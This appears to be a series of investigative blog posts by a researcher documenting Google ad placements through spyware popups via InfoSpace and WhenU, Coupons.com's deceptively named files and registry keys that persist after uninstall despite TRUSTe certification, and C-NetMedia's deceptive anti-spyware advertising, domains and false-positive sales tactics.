In all three instances I reported (as summarized in the diagram above), Google’s closest link is to InfoSpace. That is, Google pays InfoSpace, and InfoSpace pays the various entities that follow. In my view, Google’s relationship with InfoSpace is ill-advised for at least three reasons:

First, InfoSpace has a track record of improper placements of Google ads. InfoSpace is implicated in all three of the placements detailed above — misplacements that have continued over a lengthy period despite ample notice and opportunity for correction. Furthermore, I have personally observed other improper placements by InfoSpace. (Perhaps I’ll post more in a futher piece.) Google need not continue to do business with a distributor with such a poor track record.

Second, Google does not need a distributor whose business model entails farming out ad placements to subdistributors. If InfoSpace’s subdistributors seek to distribute Google ads, and to be paid for doing so, let them apply directly to Google and undergo Google’s ordinary quality control and oversight. Inserting InfoSpace as an additional intermediary serves only to lessen accountability.

Third, InfoSpace’s corporate history undermines any request for lenience or forgiveness. The Seattle Times chronicles InfoSpace’s accounting fraud in a three-part investigative report, “Dot-Con Job“, presenting 12,000+ words of analysis as well as primary source documents and even voicemail recordings. The Seattle Times byline summarizes their findings: “Investors were cashing out millions, and faithful investors were left with pennies.” Hardly a mark of trustworthiness!

These Ads Violate Google’s Promises to Users

These ad placements fall short of Google’s promises to users. By paying spyware vendors to show advertisements, Google both enlarges and prolongs the spyware problem. In particular, Google’s funding supports software that users struggle to remove from their computers. Google’s payments make it more profitable for vendors to sneak such software onto users’ computers in the first place.

Furthermore, Google’s Software Principles specifically disallow WhenU’s practices. Google’s “installation” and “upfront disclosure” principles disallow deceptive and nonconsensual WhenU installations. (I have video proof on file showing nonconsensual WhenU installations.) Google’s prohibition on “snooping” prohibits certain WhenU privacy practices, including WhenU’s historic violation of its own privacy policy (transmitting full page URLs despite a privacy policy promising “As the user surfs the Internet, URLS visited by the user … are NOT transmitted to WhenU.com or any third party server”).

Crucially, Google’s partnership with WhenU directly contradicts Google’s call for software makers and advertising intermediaries to “keep[] good company” by supervising partners. Despite that commitment, present on Google’s site for 4+ years, Google inexplicably continues its relationship with WhenU.

These Ads Violate Google’s Promises to Advertisers

These ad placements also fall short of Google’s obligations to advertisers. For example, when Google describes its Search Network, Google promises:

Ads are targeted based on a user’s search terms.   (emphasis added)

But here, the user performed no search — so there was no proper cause to display a Search Network ad or charge an advertiser a high Search Network price.

Google confirms:

On the Search Network, ads are shown … on … the search results pages of … Google’s search partners … within the Search Network. On our search partners, your ads may appear alongside or above search results, as part of a results page as a user navigates through a site’s directory, or on other relevant search pages.   (emphasis added)

A placement through a spyware popup does not meet these criteria: A spyware popup is not a “page.” Furthermore, a user browsing an ordinary web site (like the Continental site shown above) is neither “search[ing]” nor navigating a “directory,” contrary to Google’s promise that search ads are shown to users at search engines and directories.

Despite these clear promises, Google’s AdWords Terms and Conditions purport to allow these placements and any others Google might choose to foist on unsuspecting advertisers. Google requires advertisers to accept the following form contract provisions:

Customer understands and agrees that ads may be placed on … (z) any other content or property provided by a third party (‘Partner’) upon which Google places ads (‘Partner Property’).   (emphasis added)

That’s circular, uninformative, and a rotten deal. Advertisers should demand better. Nor should Google’s fine print claim the right to impose such bogus charges. Google should amend its contract to disavow charges from spyware, adware, conversion-inflation, and other schemes contrary to Google’s affirmative promises.

What Google Should Do

Google’s first step is easy: Fire InfoSpace. Google doesn’t need InfoSpace, and there’s zero reason for this relationship to continue in light of InfoSpace’s repeated failings.

Google also needs to pay restitution to affected advertisers. Every time Google charges an advertiser for a click that comes from InfoSpace, Google relies on InfoSpace’s promise that the click was legitimate, genuine, and lawfully obtained. But there is ample reason to doubt these promises. Google should refund advertisers for corresponding charges — for all InfoSpace traffic if Google cannot reliably determine which InfoSpace traffic is legitimate. These refunds should apply immediately and across-the-board — not just to advertisers who know how to complain or who manage to assemble exceptional documentation of the infraction. (Indeed, in response to my May 2009 report, I know Google provided a credit to RCN — the specific advertiser whose targeting I happened to feature in my example. But I gather Google failed to provide automatic credits to all affected advertisers, even though Google’s billing records provide ample documentation of which advertisers faced charges from which Google partners. And I understand that Google denied requests for refunds or credits from other affected advertisers.)

More generally, Google must live up to the responsibility of spending other people’s money. Through its Search Network offering, Google takes control of advertisers’ budgets and decides, unilaterally, where to place advertisers’ ads. (Indeed, for Search Network purchases, Google to this day fails to tell advertisers what sites show their ads. Nor does Google allow opt-outs on a site-by-site basis — policies that also ought to change.) Spending others’ money, wisely and responsibly, is a weighty undertaking. Google should approach this task with significantly greater diligence and care than current partnerships indicate. Amending its AdWords T&C’s is a necessary step in this process: Not only should Google do better, but contracts should confirm Google’s obligation to offer refunds when Google falls short.

I’m disappointed by how little has changed since my year-ago reports of these same practices. In a conference presentation in February 2009, I demonstrated substantially similar WhenU placements, with Google’s Rose Hagan (Senior Trademark Counsel) present in the audience. In May 2009 I wrote up these WhenU placements on my web site in great detail. Yet ten months later, the problem continues unabated. Indeed, the other misplacements I identified in May 2009 also continue: Google continues partnering with IAC SmileyCentral (deceptive browser plug-ins that induce searches when users attempt navigations), placing ads on typosquatting sites (including sites that show a company’s own ads when users mistype that company’s domain name), and, through Google Chrome, inviting users to search (and click prominent top-of-page ads) when direct navigation would better satisfy users’ requests and avoid unnecessary advertising costs for advertisers. I’m disappointed by the lack of progress when, in each instance, the improper charges are clear and well-documented. Google’s intransigence confirms the need for the Bill of Rights for Online Advertisers I proposed this fall.

Coupons.com and TRUSTe: Lots of Talk, Too Little Action updated March 20, 2008

Six and a half months ago, I reported a variety of bad practices at Coupons.com. Key among my concerns: Coupons.com stored data in deceptive filenames and registry entries designed to look like part of Windows — with names like c:\WINDOWS\WindowsShellOld.Manifest.1 and HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Controls Folder\Presentation Style. Furthermore, Coupons.com failed to remove these files upon a user’s specific request to uninstall.

Because Coupons.com was certified by TRUSTe Trusted Download, I reported these behaviors through TRUSTe’s Watchdog form. TRUSTe investigated and, it claimed, required Coupons.com to make changes. Last month, TRUSTe declared success: “Coupons, Inc. rolled out a number of significant changes …. To improve registry key and naming (s.i.c.), the new version of the software uses an improved security scheme that writes only one registry key placed in a typical location, named in an appropriate manner.” TRUSTe concluded by giving itself a pat on the back — calling this sequence “an excellent outcome” in that “[a] user found a problem, filed a complaint, and TRUSTe worked with the Participant to make necessary corrections.”

I wanted to see for myself whether TRUSTe’s oversight is as effective as TRUSTe claims. So I downloaded Coupons.com’s current software onto an ordinary computer in my lab. (I couldn’t use a VMware virtual machine because Coupons.com detects VMware and refuses to install.) To my dismay, Coupons.com’s software continued to create the same deceptively-named files and registry keys I reported in August:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Controls Folder\Presentation Style
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\UrlDecoding

I prepared a screen-capture video to confirm and memorialize the deceptively-named files and registry keys. (My video begins by showing the New York Times front page, to demonstrate the date of testing.)

I then used Control Panel – Add/Remove Programs to attempt to uninstall Coupons.com’s software. I found that the specified files and registry keys all remained in place — even though TRUSTe further promised that “[t]he new version uninstaller removes the files.”

What’s going on? Maybe TRUSTe tested a different version of Coupons.com’s software than the version offered to the public. Maybe Coupons.com posted the wrong file. But whatever the reason, TRUSTe’s claims are inconsistent with my test results.

TRUSTe’s Oversight and What to Do Next

My testing indicates that Coupons.com has not made the changes TRUSTe specified. In particular, Coupons.com continues to use multiple registry keys and filenames with intentionally deceptive locations and names — exactly contrary to TRUSTe’s claim that “only one registry key” is used and that it is placed in a “typical location” with an “appropriate” name. Furthermore, Coupons.com leaves these files and registry keys after uninstall — exactly contrary to TRUSTe’s claim that the new uninstaller “removes the files left behind.”

Far from TRUSTe’s self-congratulatory rhetoric, Coupons.com’s practices reflect badly on TRUSTe: Despite clear violations widely reported 6+ months ago and a supposed investigation by TRUSTe, the problems continue to this day.

Worse, through two different channels, TRUSTe has falsely told users they can trust Coupons.com. First, Coupons.com has continuously remained on TRUSTe’s Trusted Download “whitelist” despite my initial report. That is, TRUSTe continued to certify Coupons.com even when TRUSTe knew of Coupons.com’s deceptive practices and even when there was no dispute that the practices were ongoing. A better strategy, per my September 2007 recommendation, would be to suspend violators until they have fully corrected their practices. Otherwise, a user looking at the “whitelist” cannot know which companies are truly in good standing, versus which have fallen short and are must make improvements.

Second, TRUSTe has posted announcements (1, 2) that falsely characterize the status of Coupons.com’s improvements: In September TRUSTe promised the changes would be “completed within 90 days” — but in fact, they’re still not in place 180 days later. In February TRUSTe proclaimed the changes complete — but in fact Coupons.com’s software still has the same problems I previously identified.

These failings go to the core of TRUSTe’s promise to “make privacy your choice.” TRUSTe claims to be giving users the information they need to make informed decisions. However, TRUSTe’s information is systematically in error — to the benefit of the companies that pay TRUSTe to get certified, but to the detriment of any users who mistakenly rely on TRUSTe’s investigations.

An Additional Violation: Executable Software Left Behind After Uninstall

My recent tests also revealed a new file I hadn’t noticed in prior tests: c:\WINDOWS\system32\cpnprt2.cid. How did I miss this file? It appears only after a user first prints a coupon — not when a user initially installs Coupons.com software. So this file wasn’t created in my prior testing.

Despite the file’s unusual .CID extension, the file is actually a DLL containing executable code. Although “cpnprt” bears some relationship to Coupons.com’s product name (“CouPoN PRinTer”), I can see no proper reason to place this file within c:\WINDOWS\ rather than in c:Program Files\Coupons with Coupons.com’s other files. So Coupons.com’s improper file locations include not only data files (like those listed above), but also executable code.

Moreover, I see no proper reason for calling the file a .CID rather than the DLL that it is. This misnaming serves to further obfuscate the file’s purpose and to prevent typical users from determining that the file contains executable software code.

In separate testing, I confirmed that this file remains on a user’s computer even after the user removes Coupons.com’s software. (This too is shown in my screen-capture video.) So Coupons.com leaves behind not just data, but also executable software. Leaving executable code stands starkly in contrast to Coupons.com’s license agreement which mentions only that “license keys wil not be removed when the Software is uninstalled” — but says nothing about software code left behind.

Coupons.com violates TRUSTe Trusted Download requirements when it leaves executable code after a user’s uninstall request. Trusted Download rule 7.(a)(ii) requires a complete uninstall and allows only limited exceptions — none of them applicable here. (The closest exception allows “properly disclosed anti-fraud … measures” — but this practice is not “properly disclosed,” nor is surviving executable code required to track whatever practices might conceivably be at issue.) Coupons.com’s cpnprt2.cid file therefore constitues another violation of applicable Trusted Download rules.

Coupons.com’s Ongoing DMCA Litigation with John Stottlemire

Last summer I mentioned Coupons.com’s misguided DMCA litigation against John Stottlemire. The case drags on: John’s blog reports ongoing events, including John’s motion to dismiss, the court’s granting of that motion, Coupons.com’s second amended complaint, and John’s second motion to dismiss.

My view remains that this litigation is ill-advised for Coupons.com: Coupons.com has too much work to do, improving its own software and its own business practices, to waste management time and attention on pursuing a user who merely helped others remove deceptively-named files and registry keys. Coupons.com has nothing to gain here: Even if Coupons.com can force John to stop telling users how to remove unwanted Coupons.com software, others will immediately pick up where John left off.

There’s plenty more to be said about the case — especially, concern at using the DMCA to stifle useful public-interest discussion of how to remove unwanted software from an ailing computer. But I’ll leave that to others: TechDirt, Wired, and various bloggers.

Update (March 20, 2008)

TRUSTe’s Response and My Hands-On Testing

In a March 19 posting, TRUSTe claims that the issues described above reflected Coupons.com software available only between March 15 and March 17. But TRUSTe stands behind its February report that Coupons.com had “addressed [the] concerns” TRUSTe previously raised based on my prior article. I emphatically disagree. In particular, my hands-on testing, memorialized in video records, clearly demonstrates that Coupons.com continues to violate TRUSTe’s prior instructions and applicable TRUSTe rules. Consider my March 19 video:

1. At 0:02, I demonstrate the current date and time. I then run an InCtrl scan to record existing files and registry keys.

2. At 1:15, I begin to browse the Coupons.com site, and at 1:25 I attempt to print a coupon. 

3. At 1:33, I begin to install the Coupon Printer program, including providing a name and email address when requested (2:20). 

4. At 2:55, I browse c:\WINDOWS\ to show the newly-created and deceptively-named CID file (as discussed above).  I then proceed to find a file by the same name placed in c:\WINDOWS\system32 also.

5. At 3:30, I rerun Inctrl to identify newly created files and registry keys.  The results are visible beginning at 5:35.  I notice the HKEY_CLASSES_ROOT\English.cpl registry key in the listing (5:45), and at 5:50 I use Regedit to confirm that the key is indeed present. 

6. At 6:30, I request an uninstall in the usual way (Control Panel – Add or Remove Programs).  I then show that deceptively named file remains in c:\WINDOWS\ (7:14) and c:\WINDOWS\system32 (7:08); despite my uninstall request, these files were not removed.  I show that the deceptively-named registry key remains also (7:02). 

The Violations Revealed by My Hands-On Testing

The preceding video presents three separate different violations of TRUSTe rules and of TRUSTe’s prior representations of Coupons.com’s supposed compliance:

A) Step 4 shows a deceptively-named file placed on a user’s computer. There is no proper reason to call this file a .CID rather than the DLL that it is. Nor is there any proper reason for Coupons.com to place the same file in both c:\WINDOWS\ and c:\WINDOWS\system32. Indeed, my tests indicate that Coupons.com sometimes uses one of those folders, sometimes the other, and sometimes both — a randomization procedure with no proper purpose, but with the natural effect of confusing users and hindering detection and removal.

These deceptive filenames are exactly contrary to TRUSTe’s claim that it has resolved the problem of Coupons.com’s “inappropriately-named files.” These deceptive filenames and randomized locations also violate TRUSTe rule 14(e)(v), which prohibits “using randomized or intentionally deceptive file names … for the purpose of avoiding detection and removal.”

B) Step 5 shows a deceptively-named registry key. Coupons is not, and is not commonly known as, “English.cpl.” Indeed, the file extension “CPL” indicates a Control Panel applet or extension — but Coupons.com offers no such extension. Neither does Coupons.com have any proper basis to place its configuration data in HKCR — a registry area reserved for file extensions and COM class registrations. Rather, Coupons.com clearly chooses this area to store its configuration data because users would never think to look here. Indeed, in repeated testing, I found that Coupons.com sometimes used other keys instead. For example, in a separate video early on March 19, I found that Coupons.com used HKCRWeb.Template.URL rather than HKCREnglish.cpl. Randomization of registry keys further confirms that Coupons.com uses these registry locations to avoid detection.

These randomized and intentionally-deceptive registry keys are exactly contrary to TRUSTe’s claim that all registry keys are “placed in a typical location [and] named in an appropriate manner.” These deceptive filenames and randomized locations also violate TRUSTe rule 14(e)(v), which prohibits “using randomized or intentionally deceptive … registry entries for the purpose of avoiding detection and removal.”

C) Step 6 shows that Coupons.com fails to remove all its files and registry keys upon a user’s specific request to uninstall.

The retention of these files is exactly contrary to TRUSTe’s claim that the “new version uninstaller removes the files left behind.” The retention of these files also violates TRUSTe rule 7.(a)(ii), requiring a complete uninstall and allows only limited exceptions — none of them applicable here.

The retention of these files also violates Coupons.com’s license agreement — which mentions only that “license keys will not be removed when the Software is uninstalled,” but says nothing about software code left behind. Although TRUSTe’s Trusted Download rules do not specifically require that a company comply with the provisions of its license agreement, I take such compliance to be so obvious that it does not require a specific mention. Coupons.com’s violation of representations in its own license agreement therefore constitutes yet another violation of TRUSTe requirements.

Additional Violations: Coupons.com Retrieving Windows CD key and system serial numbers

In testing using API and registry-monitoring tools, I have determined that Coupons.com retrieves a wide variety of sensitive Windows registry keys and computer configuration settings including Windows Product ID, Windows CD key, motherboard serial number, and hard drive serial number. These numbers serve to identify a specific individual computer, and these numbers persist over the lifetime of a computer. Coupons.com. These practices stand in sharp contrast to Coupons.com’s representations to users:

  • The Coupons.com “promo” promises that “The Coupon Printer does not gather or ask for any personal information about … your computer.” Yet my testing indicates that Coupons.com gathers detailed computer-specific information about each computer on which it is installed.
  • Coupons.com’s privacy policy similarly promises that “The Coupons, Inc. software … only collect[s] information about what coupons have been printed and redeemed from your computer” — again, directly at odds with my observation that Coupons.com collects far more information.
  • Coupons.com’s license agreement discloses this information collection only by admitting that the “software uses anonymous, assigned numbers and/or anonymous information about your computer or device.” But the numbers at issue are not anonymous: These numbers identify a specific individual user based on the user’s unique and unvarying Windows CD key, motherboard serial number, and hard drive serial number. TRUSTe rule 1.qq defines such information to be pseudonymous (“information that may correspond to a person [such as] machine ID”), while rule 1.i defines anonymous information to exclude all pseudonymous information. Coupons.com thus errs in characterizing these numbers as “anonymous.” Moreover, Coupons.com errs in disclosing this data collection practice only in its license agreement; because this practice speaks to user privacy, it belongs in Coupons.com’s privacy policy.

TRUSTe’s Ineffective Investigation and Response

TRUSTe staff could have identified each of these defects when they tested Coupons.com software in February. Instead, TRUSTe staff issued a boilerplate endorsement — failing to identify shortcomings that would have been apparent in any careful analysis.

Remarkably, even after my post above and even after John Stottlemire’s March 18 post detailing many of these issues in great detail, TRUSTe nonetheless described Coupons.com’s problems as “corrected.” TRUSTe even called this process “a good example of how the [Trusted Download] program should work.” I emphatically disagree: Coupons.com remains flagrantly in violation of TRUSTe’s instructions and rules, and TRUSTe has failed either to obtain suitable corrections or to eject Coupons.com from its whitelist.

To this day, Coupons.com is in breach of TRUSTe’s rules, and TRUSTe knows it. Yet Coupons.com remains listed on TRUSTe’s whitelist as if its practices are beyond reproach and as if the company is in good standing vis-a-vis TRUSTe’s rules. That’s outrageous, and users should demand better.

Critiquing C-NetMedia’s Anti-Spyware Offerings and Advertising Practices

Not every “anti-spyware” program is what it claims to be. Some truly have users’ interests at heart — identifying and removing bona fide risks to privacy, security, stability, or performance. Others resort to a variety of tricks to confuse users about what they’re getting and why they purportedly need it.

This article reports the results of my examination of anti-spyware software from C-NetMedia. I show:

  • Deceptive advertising, deceptive product names, and deceptive web site designs falsely suggest affiliation with security industry leaders. Details.
  • The use of many disjoint product names prevents consumers from easily learning more about C-Net, its reputation, and its practices. Details.
  • High-pressure sales tactics, including false positives, overstate the urgency of paying for an upgraded version. Details.

Note that C-NetMedia is unrelated to the well-known technology news site CNET Networks. Details.

Deceptive advertising, deceptive product names, and deceptive web site design falsely suggest affiliation with security industry leaders.

Some C-NetMedia products are marketed using practices, keywords, labels, and layouts that falsely suggest they come from security industry leaders. This suggestion comes from both the actions of C-Net itself, as well as from the actions of C-Net’s marketing partners.

Google Shows Deceptive Ads for C-Net's Products
Google Shows Deceptive Ads for C-NetMedia’s Products

Consider the top three ads for a Google search for “Spybot”, a popular early anti-spyware program (full name “Spybot Search & Destroy”). As shown at right, the top three ads each specifically mention “Spybot” — the first two, in directory names; the third, in its domain name. Furthermore, all three ads also include the distinctive and original phrase “Search & Destroy” that specifically describes the genuine Spybot product. Yet in fact each of these three ads takes users to the unrelated site spywarebot.com (emphasis added) (screenshots: 1, 2, 3). Clicking the first ad immediately takes a user to spywarebot.com via the ClickBank advertising network. As to the second and third ads, traffic flows through independent “landing page” sites which in turn show ClickBank links to promote Spywarebot. These landing pages are hosted on the deceptively-named domains named spybot-sd-info.com and www-spybotcom.com — each further (but falsely) suggesting an affiliation with the genuine “spybot” product.

C-NetMedia partners similarly fill top ad spots for a search for “Ad-Aware”, another well-known anti-spyware program. The top ad promotes C-Net’s adwarealert.com — a name particularly likely to confuse users because the ad’s title and domain differ from the user’s request by just a single letter. The first ad takes the user to adwarealert immediately, while the second ad takes users to a www-ad-ware.com landing page which also promotes adwarealert.com (again via ClickBank).

Other deceptive C-NetMedia partners pervade search results for spyware-removal search terms. See e.g. “Spybot-free.com” using distinctive “Spybot” “Search & Destroy” marks to promote C-Net’s spywarebot.com. See also C-Net’s Registrysmart.com advertising with ad title “Microsoft Antispyware” in Google results for searches on “Microsoft Spyware”. Because the Registrysmart ad title touts “Microsoft Antispyware”, users might reasonably think the ad will yield an official Microsoft site that actually provides the free “Microsoft Antispyware” product. But in fact the link leads only to a C-Net site with paid products.

C-NetMedia may claim that these ads were placed by affiliates. But the actions of these affiliates are prominent — occurring on search terms as well-known as “Spybot” and “Ad-Aware.” These actions are also longstanding: My October 2006 False and Deceptive Pay-Per-Click Ads shows that some of these ads have continued for more than a year. Furthermore, these affiliates act for C-Net’s benefit, and C-Net has the right and ability to monitor them, to oversee their activities, and to limit their efforts as it sees fit. Finally, FTC litigation confirms that companies can be liable for the actions of their affiliates and marketing partners. See e.g. US v. APC Entertainment (advertiser liable for sexually-explicit unsolicited commercial email sent by its affiliates), In the Matter of Zango, Inc. (advertising software company liable for nonconsensual and deceptive installations of its software by its partners), In the Matter of Direct Revenue LLC (same).

C-NetMedia’s involvement in these advertising practices is heightened by C-Net’s own selection of product names. C-Net, not its affiliates, chose product names so close to established market leaders — names that invite consumer confusion. C-Net furthers the confusion by calling its products “official” (e.g. “The Official Ad-Ware Client“, emphasis added) when there is no meaningful sense in which C-Net’s products are more “official” than any other. Indeed, when users arrive at C-Net sites after requesting similarly-named better-known competitors, C-Net’s offerings are exactly not the official products users specifically requested by name.

Some C-Net sites are also deceptive in that their titles and graphic design falsely suggest they are an official part of Windows. Consider antispyware.com. The site’s heading presents the generic title “AntiSpyware For Windows” — without mentioning any company name or showing any other prominent indication that the product is not actually part of Windows. Furthermore, antispyware.com shares numerous graphic design elements with official Microsoft sites: Like official Microsoft sites, antispyware.com features a broad blue bar across the top of the page, bold white type at top-left with smaller white type at top-right, a grey navigation bar down the left edge (with thin black lines as section separators, and with simple black text), a grey nav bar down the right edge (with broad grey bars to separate sections, and with blue bulleted text), a grey background, a skewed 3D rendering of a product screen at page center, and a vivid colored bubble at top-center, linking to a product download. See the two screenshots below — antispyware.com on the left, and the official Microsoft Windows Defender download page on the right. These many visual similarities make it especially likely that a user at antispyware.com will mistakenly believe the site is an official Microsoft offering.

C-NetMedia’s Antispyware.com
Microsoft Windows Defender

Some C-NetMedia sites give users the false impression that they are bona fide informational sites rather than commercial advertisements. For example, Remover.org presents itself as a general-purpose spyware information site, but Remover.org actually promotes only one product — C-Net’s “AntiSpyware For Windows.” Furthermore, Remover.org claims to have “one goal and one purpose: to win the war on spyware” — suggesting a non-commercial purpose, when in fact Remover charges a fee for its removal program. The totality of these practices suggests that a user at Remover.org may reasonably think he is viewing an ordinary informational site and/or a source of unbiased reviews, when in fact the site is a C-Net advertisement.

Hindering Consumer Investigations through Use of Numerous Product Names and Domains

C-Net uses exceptionally many product names and domain names. My analysis indicates that the following products and domains all come from C-NetMedia:

Site Whois IP Address Trademark
adware.pro Whois-Proxy  
ad-warealert.com Domains By Proxy (GoDaddy) – C-Netmedia 77047467 – November 20, 2006 – C-Netmedia
adwarealert.com Domains By Proxy (GoDaddy) 77047467 – November 20, 2006 – C-Netmedia
adwarearrest.com Syber Corporation
8400 East Prencitce Avenue, Ste 1500  
Greenwood Village CO 80111  
adwarebot.com Domains By Proxy (GoDaddy) – C-Netmedia  
antispyware.com Domains By Proxy (GoDaddy) 77073855 – December 30, 2006 – C-Netmedia
antispywarebot.com    Domains By Proxy (GoDaddy) 77047469 – November 20, 2006 – C-Netmedia
errorkiller.com C&C Networks
3630 County Ct S
Mobile, AL 36619 – C-Netmedia    77047443 – November 20, 2006 – C-Netmedia   
errorsmart.com Domains By Proxy (GoDaddy)  
errorsweeper.com Domains By Proxy (GoDaddy) 77047440 – November 19, 2006 – C-Netmedia
evidenceeraser.com  Domains By Proxy (GoDaddy) 77073969 – December 31, 2006 – C-Netmedia
free-pc-repair.com Ofer Shoshani
747 Durshire Way
Sunnyvale, CA 94087  
free-registrysmart.com    Domains By Proxy (GoDaddy) – C-Netmedia 77047441 – November 20, 2006 – C-Netmedia
macrovirus.com Domains By Proxy (GoDaddy) – C-Netmedia  
malwarebot.com Domains By Proxy (GoDaddy) – C-Netmedia 77047470 – November 20, 2006 – C-Netmedia
privacycontrol.com Domains By Proxy (GoDaddy) 77073857 – December 31, 2006 – C-Netmedia
privacycontrols.com Domains By Proxy (GoDaddy) 77073859 – December 31, 2006 – C-Netmedia
regclean.com Domains By Proxy (GoDaddy)  
regrecall.com Domains By Proxy (GoDaddy)  
registrybot.com Domains By Proxy (GoDaddy) – C-Netmedia 77047445 – November 20, 2006 – C-Netmedia
registryclear.com Bruce Cope
3630 County Ct S
Mobile, AL 36619  
registrysmart.com PrivacyPost (Dotster) 77047441 – November 20, 2006 – C-Netmedia
regsweep.com Domains By Proxy (GoDaddy) 77047438 – November 19, 2006 – C-Netmedia
remover.org Domains By Proxy (GoDaddy)  
restore-pc.com Domains By Proxy (GoDaddy)  
spywarebot.com Domains By Proxy (GoDaddy)  
spywareremover.com C&C Networks
3630 County Ct S
Mobile, AL 36619  

The United States Patent and Trademark Office’s Trademark Search provides the brunt of my evidence that the listed sites are associated with C-Netmedia. Other evidence comes from the network block that C-Net uses at Rackspace. (Rackspace also hosts all of the other listed C-Net sites. The server is indeed a Rackspace server, despite its distant IP address.) My conclusion is bolstered by the many other similarities among these sites, including their common substantive theme, structure, layout, registration method, and advertising relationships and suppliers. Furthermore, the sites’ programs are largely similar — with identical detections, false-positives, and user interfaces.

An ordinary user would face substantial difficulty in determining that a given site is operated by C-NetMedia or in finding C-Net’s contact information. At a few of the sites, a user would at least find a street address in Whois. But the other domains all lack useful Whois data. Furthermore, while the listed web sites offer email and/or chat support, they all lack a phone number, mailing address, or even a legal name or place of incorporation. A user seeking to send a formal complaint therefore has no clear means to do so. Savvy users might notice a reference to C-NetMedia within a program’s license agreement. But these references appear only in the licenses shown by programs’ installers — not in the license agreements linked from the corresponding web sites. So these references to C-Net are especially hard to find after a user has already received C-Net software.

A user who manages to identify the C-Net company name, e.g. from trademark applications, is still substantially stymied in learning more about the company. The name “C-NetMedia” immediately suggests an association with CNET Networks, Inc., the well-known news site at www.cnet.com. In fact C-NetMedia and CNET Networks are entirely unrelated. But by choosing a name that matches an existing company, C-Net hinders attempts to learn more about its practices: Searches for “C-Net” overwhelmingly yield references to CNET Networks.

C-Net’s use of many names brings valuable benefits to C-Net but real costs to users: The numerous names prevent users’ unfavorable views of specific C-Net products (examples: 1, 2, 3, 4, 5) from easily spreading to other C-Net products. If C-Net had only a single product, users searching for that product would easily find the complaints of prior dissatisfied users. But by shifting from name to name, C-Net can abandon product names with unfavorable coverage, in each instance starting fresh with a new name. In this regard, C-Net’s approach is strikingly similar to Direct Revenue’s use of dozens of company and product names.

It seems C-Net sometimes uses the name 2squared to describe its offerings. The 2squared.com site claims to be the maker of at least some of C-Net’s products (including ErrorSweeper and RegClean). While C-Net’s trademark applications list one address in Mobile, Alabama (590 B Schillinger Road South, Suite 8), 2squared provides the adjacent suite 10.

C-Net’s trademark applications all list Erik Mv. Pelton as their attorney of record. Mr. Pelton’s tm4smallbiz.com site indicates that he is a bona fide trademark attorney with an office in Arlington, Virginia.

High-Pressure Sales Tactics and False Positives

C-NetMedia SpywareBot False Positives C-NetMedia SpywareBot False Positives

Once a user installs C-NetMedia’s free trial software, C-Net resorts to high-pressure tactics to encourage users to make a purchase.

I tested C-Net’s SpywareBot on a clean PC running Windows XP with no service packs,. My test PC was supplemented only by the ordinary analysis tools I use to study spyware and adware infections. SpywareBot detected Regsnap, my registry change-tracking tool, as the “Absolute Keylogger.” Bold red “Warning” messages repeatedly alerted me to the supposed “43 parasites” on my computer, and a “toast”-style slider arose from the bottom-right corner of my screen. Perhaps this was just an ordinary false positive — a mistake that any security program can make. But C-Net’s error was unusually self-serving in that C-Net requires users to pay a fee — in this case $19.95 — before removing any of the items it detects.

C-Net’s many products mean extended further investigation would be required to fully determine the effectiveness and error rates of C-Net’s various programs. Due to the seriousness of the advertising practices described above, I have chosen to post this article without fully testing for such false positives or other deficiencies across all of C-Net’s programs and across a variety of test computers. I will update this article to link to any such research performed by others.

Other Anomalous Marketing Practices: Affiliate Programs, Certifications, and Logos

C-NetMedia’s marketing programs are striking in their generosity: C-Net offers its affiliates 70% commissions on users’ purchases. Such large commissions tend to suggest that charges to users bear little relationship to the underlying cost of providing the service. In particular, when a user arrives at C-Net’s site through an affiliate link, at least 70% of the user’s payment goes towards marketing costs. But if marketing receives 70% of revenue, relatively little remains to fund product design or other core business functions. A user might be better off with a free product — such as the free products with names nearly identical to the names C-Net selected.

Many C-Net sites feature McAfee Hacker Safe certifications.C-NetMedia sites systematically and prominently tout certifications that are substantially irrelevant to the true attributes of C-Net software. For example, C-Net’s Adwarealert site boasts a McAfee HackerSafe logo. When this logo appears on a site offering security software, a user might reasonably think the logo means the site’s software will keep the user safe from hackers. But in fact HackerSafe signifies nothing of the kind: HackerSafe has merely checked the Adwarealert web server for a set of known security problems. C-Net’s use of the HackerSafe certification thus has the tendency to deceive, i.e. to leave users with an untrue impression of the certification’s significance.

Update (February 14, 11:30am): I notice that McAfee has withdrawn HackerSafe certification of C-NetMedia sites. C-NetMedia sites now show blank space where the logo previously appeared.

Adwarealert also features a Microsoft “Certified for Windows Vista” seal. Microsoft’s certification list confirms that Adwarealert did receive this certification. But it seems Adwarealert does not truly qualify for this certification because Adwarealert violates rule 1.11 of the Microsoft certification requirements, namely the requirement that a certified program comply with all applicable guidelines from the Anti-Spyware Coalition. The ASC’s Risk Model negatively characterizes incomplete or inaccurate identifying information; obfuscation; and misleading, confusing deceptive or coercive messaging or false claims to induce users to take action. By failing to readily provide accurate contact information, by using misleading product names, and by reporting false positives with a request for payment, Adwarealert violates each of these requirements. I therefore conclude that Adwarealert is ineligible for the “Certified for Windows Vista” certification.

C-NetMedia’s sites also feature unsubstantiated claims of product benefits. C-Net sites feature the following logos: “Guaranteed – 100% No Adware or Spyware”, “#1 Most Advanced Privacy Software”, “#1 Registry Cleaner”, “100% Safe and Secure”, “Total Privacy Protection,” “Most Advanced Anti-Spyware Detection,” and “World’s #1 Spyware Remover.” None of these claims contains, references, or links to any substantiation, documentation, or other supporting details. Some of these claims are presented in graphical form, i.e. in logos that appear to be endorsements or certifications. But C-Net gives no indication of any bona fide third party offering these endorsements; instead, the graphics seem to be C-Net’s own creation.

Work To Be Done

My analysis shows ample room for online advertising and security vendors to better protect users from C-NetMedia’s deceptive advertising practices:

  • Google and other search engines could block the widespread deceptive ads from C-NetMedia and its marketing partners. C-Net and its partners have continued these practices for more than a year. Google claims to be tough on malware, and Google does exclude some harmful organic search results. But Google has been ineffective in removing the false and deceptive ads shown above, among many others, despite ample complaints from users and security researchers.
